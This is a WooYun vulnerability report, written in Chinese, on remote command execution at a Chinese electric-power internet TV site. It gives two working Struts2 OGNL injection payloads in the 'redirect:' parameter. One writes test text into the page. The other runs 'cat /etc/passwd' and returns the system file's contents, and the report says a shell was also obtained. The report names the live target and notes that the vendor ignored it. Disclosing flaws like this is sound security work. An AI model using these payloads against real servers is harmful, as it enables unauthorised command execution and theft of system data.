漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-055799
漏洞标题：中国电力网络电视命令执行getshell
相关厂商：中国电力网络电视
漏洞作者： 矿主
提交时间：2014-04-11 15:40
修复时间：2014-05-26 15:41
公开时间：2014-05-26 15:41
漏洞类型：命令执行
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-05-26： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
中国电力网络电视命令执行getshell
详细说明：
中国电力网络电视
http://www.cptv.com.cn/
漏洞利用：
打印文本
？redirect:${%23rep%3d%23context.get%28%27com.opensymphony.xwork.dispatcher.HttpServletResponse%27%29,%23rep.getWriter%28%29.println%28%22test.%22%29,%23rep.getWriter%28%29.flush%28%29,%23rep.getWriter%28%29.close%28%29}
查看passwd
?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
漏洞证明：
查看passwd文件
能够直接getshell，代码暂时保密。
修复方案：
WAF过滤。
版权声明：转载请注明来源 矿主@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝